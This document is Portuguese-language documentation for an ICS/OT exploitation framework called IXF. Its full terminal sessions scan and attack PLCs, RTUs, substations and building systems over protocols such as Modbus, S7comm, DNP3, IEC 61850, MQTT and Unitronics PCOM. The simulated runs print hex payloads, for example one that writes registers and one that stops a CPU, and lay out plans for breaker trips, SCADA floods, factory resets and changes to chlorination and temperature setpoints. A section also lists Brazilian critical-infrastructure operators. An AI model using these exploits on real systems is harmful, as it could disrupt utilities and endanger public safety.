Protocolos e Vendors

O IXF cobre 50+ protocolos industriais e 150+ vendors OT/ICS mundialmente com módulos de scan, verificação, assessment de segurança e exploit.

Sumário

1. Cobertura de Protocolo
2. Sessões Completas de Terminal — Top 15 Protocolos
3. Cobertura de Vendor
4. Seção Especial: Brasil e LATAM
5. Comando protocols
6. Comando vendors
7. Adicionando Cobertura para um Novo Vendor

Cobertura de Protocolo

Todos os 50 protocolos têm pelo menos um módulo sob exploits/protocols/ ou scanners/ics/.

Sessões Completas de Terminal — Top 15 Protocolos

1. Modbus TCP (Porta 502)

O Modbus TCP é o protocolo ICS mais amplamente implantado. Sem autenticação, sem criptografia por padrão.

ixf > use scanners/ics/modbus_detect
[*] Módulo carregado: Modbus TCP Device Scanner

ixf (Modbus TCP Device Scanner) > set target 192.168.10.5
[*] target => 192.168.10.5

ixf (Modbus TCP Device Scanner) > run
[*] Sondando Modbus TCP em 192.168.10.5:502...
[+] Dispositivo Modbus encontrado. ID de Unidade 1 respondeu.
[i] Resposta MBAP: Transaction=0x0001, Protocol=0x0000, Length=6, Unit=1
[i] Resposta FC3: ByteCount=2, Registro[0]=0x1A4F (6735 dec)
[i] MEI Object ID 0x00 (VendorName): Schneider Electric
[i] MEI Object ID 0x01 (ProductCode): Modicon M340
[i] MEI Object ID 0x02 (MajorMinorRevision): V2.30

ixf (Modbus TCP Device Scanner) > check
[+] Alvo 192.168.10.5:502 responde ao Modbus TCP. Vulnerável a exploits sem auth.

ixf > use exploits/protocols/modbus/modbus_fc16_write_registers
[*] Módulo carregado: Modbus FC16 Write Multiple Registers

ixf (Modbus FC16 Write Registers) > set target 192.168.10.5
[*] target => 192.168.10.5

ixf (Modbus FC16 Write Registers) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: Modbus FC16 Write Multiple Registers
    Passo 1: TCP conectar a 192.168.10.5:502
    Passo 2: Construir MBAP header: Transaction=1, Protocol=0, Unit=1
    Passo 3: FC16 PDU: StartAddr=0x0000, Count=2, ByteCount=4, Values=[0x1234, 0x5678]
    Payload (hex): 00 01 00 00 00 0B 01 10 00 00 00 02 04 12 34 56 78
    Impacto: Registradores de holding 0 e 1 substituídos sem autenticação
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836

2. Siemens S7comm (Porta 102)

S7comm é o protocolo proprietário da Siemens para PLCs S7-200/300/400. Sem autenticação em versões legadas.

ixf > use scanners/ics/s7_enumerate
[*] Módulo carregado: Siemens S7 Enumerate

ixf (Siemens S7 Enumerate) > set target 192.168.1.50
[*] target => 192.168.1.50

ixf (Siemens S7 Enumerate) > run
[*] Conectando a 192.168.1.50:102 (COTP TSAP 0x0100)...
[+] COTP Connection Request aceito.
[+] S7comm Setup Communication completo (PDU size: 240 bytes)
[*] Enviando SZL (System Status List) request ID 0x0011...
[+] Informações do Módulo:
    Order Number:  6ES7 315-2AH14-0AB0
    Firmware:      V2.6.7
    Module State:  RUN
    CPU Type:      CPU 315-2 DP
    Autor:         Siemens

[*] Enviando SZL request ID 0x0132 (Protection Level)...
[+] Nível de Proteção: Nenhum (sem senha definida)
[+] Acesso ao Programa: READ/WRITE (sem restrição)

ixf > use exploits/protocols/s7comm/s7_cpu_stop_command
ixf (S7 Stop CPU) > set target 192.168.1.50
ixf (S7 Stop CPU) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: S7comm Stop CPU
    Passo 1: COTP CR, S7comm Setup Communication
    Passo 2: Enviar PDU tipo 0x01 (Job) com Function 0x2F (Stop CPU)
    Payload: 32 01 00 00 00 00 00 08 00 00 28 00 00 00 00 00 FD FF FF
    Impacto: PLC entra em modo STOP — todos os outputs de saída vão para estado seguro
    Recuperação: Requer reinicialização manual no painel ou via STEP7/TIA Portal
[i] [SIMULATE] MITRE ATT&CK for ICS: T0816, T0881

3. EtherNet/IP / CIP (Porta 44818)

Usado por Rockwell Automation (Allen-Bradley), Omron, e outros. Protocolo aberto CIP sobre TCP/IP.

ixf > use scanners/ics/enip_scanner
ixf (EtherNet/IP Scanner) > set target 192.168.1.0/24
ixf (EtherNet/IP Scanner) > run

[*] Varrendo sub-rede 192.168.1.0/24 na porta 44818...
[+] 192.168.1.10  — ControlLogix 1756-L71 (Rockwell) | Firmware: v32.11
[+] 192.168.1.15  — CompactLogix 1769-L24 (Rockwell) | Firmware: v31.14
[+] 192.168.1.20  — PowerFlex 525 VFD (Rockwell) | Firmware: v5.001
[+] 192.168.1.25  — Omron NX102-9000 | Firmware: v1.60

ixf > use exploits/protocols/enip/enip_list_identity
ixf (EtherNet/IP List Identity) > set target 192.168.1.10
ixf (EtherNet/IP List Identity) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: EtherNet/IP List Identity (CIP Command 0x63)
    Enviando ListIdentity multicast/unicast — resposta contém:
    VendorID, DeviceType, ProductCode, Revision, Status, SerialNumber
    Produto: Allen-Bradley 1756-L71 ControlLogix5571
    Serial: 00C09200
    Revision: 32.11
[i] [SIMULATE] MITRE ATT&CK for ICS: T0846

4. DNP3 (Porta 20000)

Protocolo amplamente usado em utilidades de energia elétrica, água e petróleo. Suporta autenticação opcionalmente (SAv5).

ixf > use scanners/ics/dnp3_data_link_scan
ixf (DNP3 Data Link Scanner) > set target 10.0.1.0/24
ixf (DNP3 Data Link Scanner) > run

[*] Varrendo 10.0.1.0/24 na porta TCP 20000 (DNP3)...
[+] 10.0.1.5   — RTU DNP3 respondeu. Address=1
[+] 10.0.1.10  — RTU DNP3 respondeu. Address=2
[+] 10.0.1.15  — Master DNP3 respondeu. Address=3

ixf > use exploits/protocols/dnp3/dnp3_unsolicit_flood
ixf (DNP3 Unsolicited Response Flood) > set target 10.0.1.5
ixf (DNP3 Unsolicited Response Flood) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: DNP3 Unsolicited Response Flood
    Fase 1: Enumerar endereço DNP3 do alvo via Data Link Layer
    Fase 2: Injetar 1000 respostas não solicitadas falsas por segundo
    Fase 3: Master SCADA fica sobrecarregado com eventos — DoS efetivo
    Impacto: Comunicação entre RTU e master SCADA interrompida
    Duração do ataque: Configurable (padrão: 60 segundos)
[i] [SIMULATE] MITRE ATT&CK for ICS: T0814, T0803

ixf > use assessment/protocols/dnp3_security_audit
ixf (DNP3 Security Audit) > set target 10.0.1.5
ixf (DNP3 Security Audit) > run

  DNP3 Secure Authentication v5 Assessment — 10.0.1.5:20000
  ──────────────────────────────────────────────────────────────────
  Verificação                           Resultado  Notas
  SAv5 challenge-response               MANUAL     Verificar conforme IEC 62351-5
  Proteção contra replay                MANUAL     Chaves de sessão únicas aplicadas
  Verificação de número de sequência    MANUAL     Números de seq de aplicação validados
  Controle não autorizado               MANUAL     Testar controle sem SAv5

5. IEC 60870-5-104 (Porta 2404)

Padrão de telecontrol amplamente usado em redes elétricas europeias e sul-americanas.

ixf > use scanners/ics/iec104_scan
ixf (IEC 104 Scanner) > set target 172.16.0.0/24
ixf (IEC 104 Scanner) > run

[*] Varrendo 172.16.0.0/24 na porta 2404 (IEC 60870-5-104)...
[+] 172.16.0.10  — RTU IEC 104 respondeu. ASDU Address=1
[+] 172.16.0.20  — RTU IEC 104 respondeu. ASDU Address=2

ixf > use exploits/protocols/iec104/iec104_startdt_flood
ixf (IEC 104 STARTDT Flood) > set target 172.16.0.10
ixf (IEC 104 STARTDT Flood) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: IEC 104 STARTDT Flood
    Fase 1: Estabelecer sessão TCP com RTU na porta 2404
    Fase 2: Enviar STARTDT ACT (U-frame) para iniciar transmissão de dados
    Fase 3: Injetar múltiplos STARTDTs concorrentes para esgotar conexões
    Impacto: RTU satura conexões — master SCADA perde comunicação
    Contexto real: Industroyer 2016 usou técnica similar na Ukrenergo
[i] [SIMULATE] MITRE ATT&CK for ICS: T0814, T0815, T0803

6. IEC 61850 MMS/GOOSE (Portas 102 e L2 multicast)

Padrão de comunicação para automação de subestações elétricas.

ixf > use assessment/protocols/iec61850_security_audit
ixf (IEC 61850 Security Audit) > set target 192.168.5.100
ixf (IEC 61850 Security Audit) > run

  IEC 61850 Substation Security Assessment — 192.168.5.100:102
  ──────────────────────────────────────────────────────────────────
  Verificação                          Resultado  Notas
  Autenticação GOOSE                   MANUAL     IEC 62351-6 HMAC habilitado?
  Controle de acesso MMS               MANUAL     Auth MMS exigida para controles?
  Integridade de SAMPLED VALUES        MANUAL     Proteção de integridade SV?
  Segmentação de rede de subestação    MANUAL     Barramento estação/bay/processo segm.?

ixf > use exploits/protocols/iec61850/iec61850_goose_spoof
ixf (IEC 61850 GOOSE Spoof) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: IEC 61850 GOOSE Frame Spoofing
    Fase 1: Capturar frames GOOSE legítimos do multicast L2 (01:0C:CD:01:xx:xx)
    Fase 2: Modificar GoID, DataSet ou valores de status nos frames capturados
    Fase 3: Reinjetar frames com StNum incrementado (override de proteção)
    Impacto: Relé de proteção recebe comandos de trip falsos — disjuntor trip
    Sem IEC 62351-6 HMAC: sem proteção contra replay/spoofing
[i] [SIMULATE] MITRE ATT&CK for ICS: T0855, T0856

7. OPC UA (Porta 4840)

Protocolo industrial moderno com suporte a segurança opcional. Amplamente adotado em IIoT.

ixf > use scanners/ics/opcua_discovery
ixf (OPC UA Discovery) > set target 192.168.1.0/24
ixf (OPC UA Discovery) > run

[*] Varrendo 192.168.1.0/24 na porta 4840 (OPC UA)...
[+] 192.168.1.100  — OPC UA Server (Kepware KepServerEX v6.13)
    Endpoints: opc.tcp://192.168.1.100:4840/KEPServerEX/
    SecurityMode: None  [!] Sem segurança — VULNERÁVEL
[+] 192.168.1.200  — OPC UA Server (Ignition 8.1.x)
    Endpoints: opc.tcp://192.168.1.200:62541/discovery
    SecurityMode: Basic256Sha256  [OK] Segurança habilitada

ixf > use exploits/protocols/opcua/opcua_anonymous_browse
ixf (OPC UA Anonymous Browse) > set target 192.168.1.100
ixf (OPC UA Anonymous Browse) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: OPC UA Anonymous Browse
    Fase 1: Conectar a opc.tcp://192.168.1.100:4840 sem credenciais
    Fase 2: Chamar Browse service no Root folder (ns=0;i=84)
    Fase 3: Iterar namespace para extrair todos os nós e tags
    Resultado: Estrutura completa de tags de processo exposta anonimamente
    Dados vazados: Tag names, valores, tipos de dados, estrutura de process
[i] [SIMULATE] MITRE ATT&CK for ICS: T0861, T0802

8. BACnet/IP (Porta 47808 UDP)

Protocolo de automação predial. Amplamente usado em sistemas HVAC, iluminação e controle de acesso.

ixf > use scanners/ics/bacnet_discovery
ixf (BACnet Discovery) > set target 192.168.100.0/24
ixf (BACnet Discovery) > run

[*] Enviando BACnet Who-Is broadcast para 192.168.100.255:47808...
[+] 192.168.100.10  — BACnet/IP I-Am respondeu. Device ID=1001, Vendor=Tridium Niagara4
[+] 192.168.100.15  — BACnet/IP I-Am respondeu. Device ID=2001, Vendor=Distech Controls ECLYPSE
[+] 192.168.100.20  — BACnet/IP I-Am respondeu. Device ID=3001, Vendor=Johnson Controls Metasys

ixf > use exploits/protocols/bacnet/bacnet_who_is_flood
ixf (BACnet Who-Is Flood) > set target 192.168.100.255
ixf (BACnet Who-Is Flood) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: BACnet Who-Is Broadcast Flood
    Fase 1: Injetar 10.000 Who-Is broadcasts UDP por segundo
    Fase 2: Todos os dispositivos BACnet na sub-rede tentam responder
    Fase 3: Saturação de rede — comunicação normal BACnet interrompida
    Impacto: HVAC, iluminação, controle de acesso — todos perturbados
[i] [SIMULATE] MITRE ATT&CK for ICS: T0814

9. Omron FINS (Porta 9600 UDP)

Protocolo proprietário Omron para PLCs CS/CJ/NJ. Sem autenticação em versões mais antigas.

ixf > use scanners/ics/omron_fins_scan
ixf (Omron FINS Scanner) > set target 192.168.2.0/24
ixf (Omron FINS Scanner) > run

[*] Varrendo 192.168.2.0/24 na porta UDP 9600 (Omron FINS)...
[+] 192.168.2.50  — PLC Omron CJ2M respondeu.
    Network=0, Node=1, Unit=0
    CPU Unit Type: CJ2M-CPU31
    Firmware: 2.00

ixf > use exploits/protocols/fins/fins_memory_area_write
ixf (Omron FINS Memory Area Write) > set target 192.168.2.50
ixf (Omron FINS Memory Area Write) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: Omron FINS Memory Area Write
    Fase 1: UDP FINS Write Memory Area: Header ICF=0x80, MRC=0x01, SRC=0x02
    Fase 2: Memory Area Code=0xB3 (HR — Holding Relays), Beg Address=0x0000
    Fase 3: Dados a escrever: 0x0001 (setar primeiro relay de holding)
    Impacto: Relay HR0 setado sem autenticação — output digital ligado
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836, T0831

10. Beckhoff ADS/AMS (Porta 48898)

Protocolo ADS (Automation Device Specification) para runtime TwinCAT. Acesso direto a variáveis PLC.

ixf > use scanners/ics/ads_scanner
ixf (Beckhoff ADS Scanner) > set target 192.168.3.10
ixf (Beckhoff ADS Scanner) > run

[*] Conectando a 192.168.3.10:48898 (ADS/AMS)...
[+] ADS device respondeu.
    AMS Net ID: 192.168.3.10.1.1
    TwinCAT Version: 3.1.4024.20
    Device State: RUN

ixf > use exploits/protocols/ads/ads_variable_write
ixf (ADS Variable Write) > set target 192.168.3.10
ixf (ADS Variable Write) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: ADS Write Variable
    Fase 1: Resolver símbolo via ADS Read Write (AdsCommand=0x0009)
    Fase 2: Escrever valor em variável PLC via ADS Write (AdsCommand=0x0003)
    Exemplo: Escrever BOOL TRUE em variável 'MAIN.bOutputEnable'
    Impacto: Variável PLC modificada sem autenticação (ADS não tem auth por padrão)
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836

11. MQTT (Porta 1883)

Protocolo de mensagens leve usado em IIoT. Frequentemente implantado sem autenticação.

ixf > use scanners/ics/mqtt_scanner
ixf (MQTT Scanner) > set target 192.168.50.10
ixf (MQTT Scanner) > run

[*] Conectando a 192.168.50.10:1883 (MQTT)...
[+] Broker MQTT respondeu (Eclipse Mosquitto 2.0.15)
[!] Conexão aceita sem credenciais — broker sem autenticação!
[i] Tópicos descobertos via SUBSCRIBE #:
    iot/sensors/temperature
    iot/sensors/pressure
    plc/outputs/valve1
    plc/outputs/valve2
    scada/alarms/high_pressure

ixf > use exploits/protocols/mqtt/mqtt_topic_inject
ixf (MQTT Topic Inject) > set target 192.168.50.10
ixf (MQTT Topic Inject) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: MQTT Topic Injection
    Fase 1: Conectar ao broker MQTT sem auth
    Fase 2: PUBLISH para tópico plc/outputs/valve1 com payload "OPEN"
    Fase 3: Qualquer subscriber (PLC, HMI) recebe o comando
    Impacto: Válvula aberta remotamente sem autenticação
[i] [SIMULATE] MITRE ATT&CK for ICS: T0855, T0836

12. PROFINET DCP (Broadcast L2)

Protocolo de descoberta e configuração de dispositivos Siemens/Beckhoff em nível de enlace.

ixf > use scanners/ics/profinet_dcp_scan
ixf (PROFINET DCP Scanner) > set target eth0
ixf (PROFINET DCP Scanner) > run

[*] Enviando PROFINET DCP Identify All (multicast 01:0E:CF:00:00:00) em eth0...
[+] Dispositivo PROFINET encontrado: 00:1B:1B:XX:XX:01
    NameOfStation: plc-linha1
    IP: 192.168.4.10 | Máscara: 255.255.255.0 | Gateway: 192.168.4.1
    TypeOfStation: CPU 1215C DC/DC/DC
    OrderID: 6ES7 215-1AG40-0XB0

ixf > use exploits/protocols/profinet/profinet_dcp_reset_factory
ixf (PROFINET DCP Factory Reset) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: PROFINET DCP Factory Reset
    Fase 1: Enviar DCP Block ResetToFactory (BlockType=0x0005, BlockLen=4)
    Fase 2: Dispositivo reinicia para configurações de fábrica
    Fase 3: Configuração de rede perdida — dispositivo offline
    Impacto: PLC perde configuração IP — inacessível por rede
[i] [SIMULATE] MITRE ATT&CK for ICS: T0816

13. Unitronics PCOM (Porta 20256)

Protocolo proprietário dos PLCs Vision/Unistream da Unitronics. Explorado em ataques reais em 2023-2024.

ixf > use scanners/ics/unitronics_pcom_scan
ixf (Unitronics PCOM Scanner) > set target 10.10.0.0/24
ixf (Unitronics PCOM Scanner) > run

[*] Varrendo 10.10.0.0/24 na porta TCP 20256 (Unitronics PCOM)...
[+] 10.10.0.50  — PLC Unitronics Vision respondeu.
    Controller Model: V700
    Firmware: 9.8.31
    Program Name: WaterTreatment_v3

ixf > use exploits/protocols/pcom/pcom_read_write_memory
ixf (Unitronics PCOM Read/Write) > set target 10.10.0.50
ixf (Unitronics PCOM Read/Write) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: Unitronics PCOM Memory Write
    Fase 1: Conectar TCP à porta 20256
    Fase 2: Comando PCOM 0x02 (Write Operands): escrever em MI (Integer Memory)
    Fase 3: Modificar MI100 (Setpoint de Cloração) para 999
    Impacto: Controle de cloração de água descontrolado
    Contexto real: Hacktivistas iranianos atacaram sistemas de água dos EUA via PCOM (2023-2024)
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836, T0819

14. Yokogawa Vnet/IP (Porta 20111)

Protocolo proprietário para DCS CENTUM VP da Yokogawa. Uso predominante em petroquímica e refino.

ixf > use scanners/ics/vnetip_scan
ixf (Yokogawa Vnet/IP Scanner) > set target 172.30.0.0/24
ixf (Yokogawa Vnet/IP Scanner) > run

[*] Varrendo 172.30.0.0/24 na porta TCP 20111 (Yokogawa Vnet/IP)...
[+] 172.30.0.100  — Yokogawa CENTUM VP respondeu.
    Station Name: FCS0101
    Domain: PLANT-01
    Version: R6.06.10

ixf > use exploits/protocols/vnetip/vnetip_tag_write
ixf (Yokogawa Vnet/IP Tag Write) > set target 172.30.0.100
ixf (Yokogawa Vnet/IP Tag Write) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: Yokogawa Vnet/IP Tag Write
    Fase 1: Estabelecer sessão Vnet/IP com FCS (Field Control Station)
    Fase 2: Identificar tags de processo críticos via enumeração de namespace
    Fase 3: Escrever valor alterado em tag de setpoint de temperatura
    Impacto: Setpoint de processo modificado — reação exotérmica descontrolada possível
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836, T0855

15. CC-Link (Porta 61450 UDP)

Protocolo de rede de campo da Mitsubishi Electric. Amplamente usado em automação industrial japonesa e asiática.

ixf > use scanners/ics/cc_link_scan
ixf (CC-Link Scanner) > set target 192.168.10.0/24
ixf (CC-Link Scanner) > run

[*] Varrendo 192.168.10.0/24 na porta UDP 61450 (CC-Link)...
[+] 192.168.10.10  — Master CC-Link IE respondeu.
    Station: 1 | Model: MELSEC iQ-R R04CPU | Firmware: 30

ixf > use exploits/protocols/cc_link/cc_link_ie_unauthorized_write
ixf (CC-Link IE Unauthorized Write) > set target 192.168.10.10
ixf (CC-Link IE Unauthorized Write) > run

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘
[i] [SIMULATE] O que aconteceria: CC-Link IE Unauthorized Write
    Fase 1: Enviar Frame CC-Link IE tipo 0x0001 (Write Request)
    Fase 2: Escrever em D (Data Register) D0-D10 com valores arbitrários
    Impacto: Registradores de dados PLC MELSEC modificados sem autenticação
[i] [SIMULATE] MITRE ATT&CK for ICS: T0836

Cobertura de Vendor

Usando o Comando vendors

ixf > vendors

  Vendors (150 cobertos)
  ─────────────────────────────────────────────────────────────────
  Vendor                              Módulos CVE
  schneider_electric                       39
  rockwell_automation                      38
  siemens                                  27
  honeywell                                20
  abb                                      22
  ge / ge_vernova                          18
  emerson                                  16
  aveva / osisoft                          14
  advantech                                15
  delta_electronics                        11
  omron                                    12
  moxa                                     10
  ... (140+ vendors adicionais) ...

ixf > vendors japan

  Vendors (7 cobertos — Japão)
  ─────────────────────────────────────────────────────────────────
  Yokogawa                                  5
  Mitsubishi Electric                       3
  Omron                                    12
  Keyence                                   2
  FANUC                                     2
  Panasonic                                 1
  Fuji Electric                             2

ixf > vendors brazil

  Vendors (6 cobertos — Brasil)
  ─────────────────────────────────────────────────────────────────
  WEG                                       2
  ALTUS                                     1
  Novus Automation                          1
  Elipse Software                           2
  Smar                                      1
  Digicon                                   1

Cobertura de Vendor por Região

Europa

Américas

Brasil e LATAM

A cobertura do IXF para vendors brasileiros e latino-americanos é especialmente relevante dado o crescimento do setor industrial na região e a infraestrutura crítica nacional.

Contexto Brasil/LATAM:

O Brasil possui uma infraestrutura crítica significativa gerenciada por sistemas ICS/SCADA:

• Energia: Operador Nacional do Sistema Elétrico (ONS), distribuidoras como Enel, Energisa, CPFL
• Óleo e Gás: Petrobras opera refinarias (REDUC, REPLAN, RNEST) com DCS e PLCs
• Água e Saneamento: SABESP, COPASA, CAESB — sistemas Modbus e SCADA WEG/Elipse
• Manufatura: São Paulo é hub industrial — automotivo (Volkswagen, GM, Toyota), farmacêutico, alimentício
• Telecomunicações: Anatel regula infraestrutura crítica de telecomunicações

Protocolos mais comuns no Brasil:

1. Modbus TCP/RTU — dominante em saneamento e energia distribuída
2. DNP3 — subestações e sistemas de distribuição da Eletrobras/distribuidoras
3. IEC 61850 — substações de alta tensão (CTEEP, Furnas, Eletronorte)
4. OPC UA — novos projetos de automação (Petrobras downstream)
5. PROFINET/S7comm — automação industrial (manufatura São Paulo)

Módulos IXF específicos para ambiente Brasil/LATAM:

ixf > search WEG
ixf > search Elipse
ixf > search ALTUS
ixf > use scanners/ics/modbus_detect  # Modbus onipresente no Brasil
ixf > use assessment/iec62443/zone_conduit_audit  # Conformidade ANEEL/ANP

Ásia-Pacífico

Energia / Rede Elétrica

Especializado / Outros

Comando protocols

ixf > protocols

  Protocolos Industriais Suportados (50 protocolos)
  ════════════════════════════════════════════════════════════════════════
  Protocolo                 Porta       Tipo      Módulos  Região
  ──────────────────────────────────────────────────────────────────────
  Modbus TCP                502 TCP     SCADA       31     Global
  Siemens S7comm            102 TCP     PLC         27     Europa/Global
  EtherNet/IP (CIP)         44818 TCP   PLC         38     Américas
  PROFINET DCP              L2 BC       PLC          8     Europa
  DNP3                      20000 TCP   SCADA       18     Américas/Aus
  BACnet/IP                 47808 UDP   BAS         12     Global
  IEC 60870-5-104           2404 TCP    SCADA       14     Europa/LATAM
  IEC 61850 MMS             102 TCP     Subestação  11     Global
  IEC 61850 GOOSE           L2 MC       Subestação   8     Global
  OPC UA                    4840 TCP    IIoT        22     Global
  OPC DA (DCOM)             135 TCP     SCADA (leg)  7     Windows/Legacy
  Omron FINS                9600 UDP    PLC         12     APAC
  Unitronics PCOM           20256 TCP   PLC          4     Global
  Beckhoff ADS/AMS          48898 TCP   PLC          5     Europa
  MQTT                      1883 TCP    IIoT         9     Global
  SNMP (OT)                 161 UDP     Mgmt         8     Global
  PROFIBUS DP/PA            1962 GW     Fieldbus     4     Europa
  HART-IP                   5094 TCP    Fieldbus     3     Global
  CANopen                   4001 GW     Machine      2     Europa
  CC-Link                   61450 UDP   Fieldbus     3     APAC
  CC-Link IE Field          61450 UDP   Fieldbus     3     APAC
  EtherCAT                  L2          Fieldbus     3     Global
  EtherNet/POWERLINK        L2          Fieldbus     2     Europa
  SERCOS III                8008 TCP    Motion       2     Europa
  IO-Link                   —           Sensors      2     Global
  INTERBUS                  1962 GW     Fieldbus     2     Europa
  ControlNet                44818 TCP   Fieldbus     3     Américas
  DeviceNet                 44818 TCP   Fieldbus     2     Américas
  PCCC                      44818 TCP   PLC (leg)    4     Américas
  FL-NET (OPCN-2)           7000 UDP    Fieldbus     1     Japão
  CompoNet                  9600 GW     Fieldbus     1     APAC
  Yokogawa Vnet/IP          20111 TCP   DCS          5     APAC/Global
  FOUNDATION Fieldbus H1    1089 HSE    DCS          3     Global
  FOUNDATION Fieldbus HSE   1089 TCP    DCS          3     Global
  LonWorks/LonTalk          1628 UDP    BAS          2     Global
  KNX/EIB                   3671 UDP    BAS          4     Europa
  CIP Safety                44818 TCP   Safety       3     Américas
  PROFIsafe                 502/PROF    Safety       2     Europa
  FSoE                      L2          Safety       2     Europa
  SECS/GEM (HSMS)           5000 TCP    Semicond.    3     APAC/EUA
  Serial-to-Ethernet        4001 TCP    Serial GW    4     Global
  ──────────────────────────────────────────────────────────────────────
  Total: 50 protocolos | 276+ módulos de protocolo

Adicionando Cobertura para um Novo Vendor

Para escanear dispositivos de um novo vendor:

# Usar o scanner Modbus genérico
ixf > use scanners/ics/modbus_scanner
ixf > set target 192.168.1.0/24
ixf > run

# Ou usar um scanner específico de protocolo
ixf > use scanners/ics/s7_comm_scanner
ixf > set target 192.168.1.100

# Verificar credenciais padrão
ixf > search default_creds
ixf > use creds/generic/http_default

# Scanner de portas OT (varredura de porta industrial)
ixf > use scanners/network/ot_port_sweep
ixf > set target 10.0.0.0/16
ixf > run

Para adicionar um módulo para novo vendor/protocolo:

1. Verificar Guia de Desenvolvimento de Módulos
2. Criar arquivo em cve/<vendor>/ ou exploits/protocols/<protocolo>/
3. Declarar __info__ com campos de vendor corretos
4. Implementar check() (sonda de protocolo nativo do vendor)
5. Implementar run() com ramo simulate/live

Exemplos de Uso por Protocolo

Varredura Modbus completa em laboratório OT

# 1. Detectar dispositivos Modbus na rede
ixf > use scanners/ics/modbus_detect
ixf > set target 192.168.1.0/24
ixf > run

# 2. Fingerprint de vendor via FC43
ixf > use exploits/protocols/modbus/modbus_device_fingerprint
ixf > set target 192.168.1.100
ixf > run

# Saída:
[*] [SIMULATE] Modbus FC43 Device Identification
    Objeto 0x00 (VendorName):     Schneider Electric
    Objeto 0x01 (ProductCode):    Modicon M340
    Objeto 0x02 (MajorMinorRevision): V3.10 Build 4
    Objeto 0x03 (VendorURL):      https://www.schneider-electric.com
    Objeto 0x04 (ProductName):    Modicon M340 CPU Module

# 3. Varrer técnicas MITRE de modificação
ixf > ttp-check T0836 192.168.1.100  # Modify Parameter
ixf > ttp-check T0831 192.168.1.100  # Manipulation of Control

Varredura S7comm em rede Siemens

# Descobrir todos os CLPs Siemens na rede
ixf > use scanners/ics/s7_comm_scanner
ixf > set target 192.168.1.0/24
ixf > run

# [SIMULATE] S7comm Discovery Scan
# Probe ISO-TSAP TCP/102 para todos os hosts
# S7comm Setup Communication → PDU Type: 1 (Job)
# Verificar resposta: S7comm Ack-Data com PDU Type: 2 (Ack)

# Resultado esperado por host:
# 192.168.1.50 → Siemens S7-1200 CPU 1215C
# 192.168.1.51 → Siemens S7-1500 CPU 1515-2

# CVE direto para S7
ixf > cve CVE-2021-22681
ixf > set target 192.168.1.50
ixf > check
ixf > run

Varredura BACnet/IP com enumeration completa

ixf > use scanners/ics/bacnet_scanner
ixf > run  # Broadcast — não precisa de target específico

# [SIMULATE] BACnet Who-Is Broadcast (0x08)
# Broadcast para 255.255.255.255:47808 (UDP)
# Aguardar I-Am responses de todos os dispositivos

# Dispositivos esperados (exemplo):
# Device 1001: Honeywell WEB-600 (HVAC)
# Device 2034: Johnson Controls VMA1640 (VAV)
# Device 5500: Schneider AS-B3976 (BMS)

ixf > use exploits/protocols/bacnet/bacnet_read_property
ixf > set target 192.168.1.100
ixf > set device_id 1001
ixf > run

# [SIMULATE] BACnet ReadProperty
# Object: Device (instance 1001)
# Property: All → enumerar todas as propriedades
# Resultado: dados de configuração, lista de objetos, horários, etc.

Ataque DNP3 simulado — Direct Operate sem SAv5

ixf > use exploits/protocols/dnp3/dnp3_direct_operate
ixf > set target 192.168.1.200
ixf > set point_index 5
ixf > set function TRIP
ixf > run

# [SIMULATE] DNP3 Direct Operate
# Link Layer: Source=1, Destination=3, Function=0x44 (Data)
# Transport Layer: FIR=1, FIN=1, Sequence=0
# Application Layer: Function Code=3 (Direct Operate)
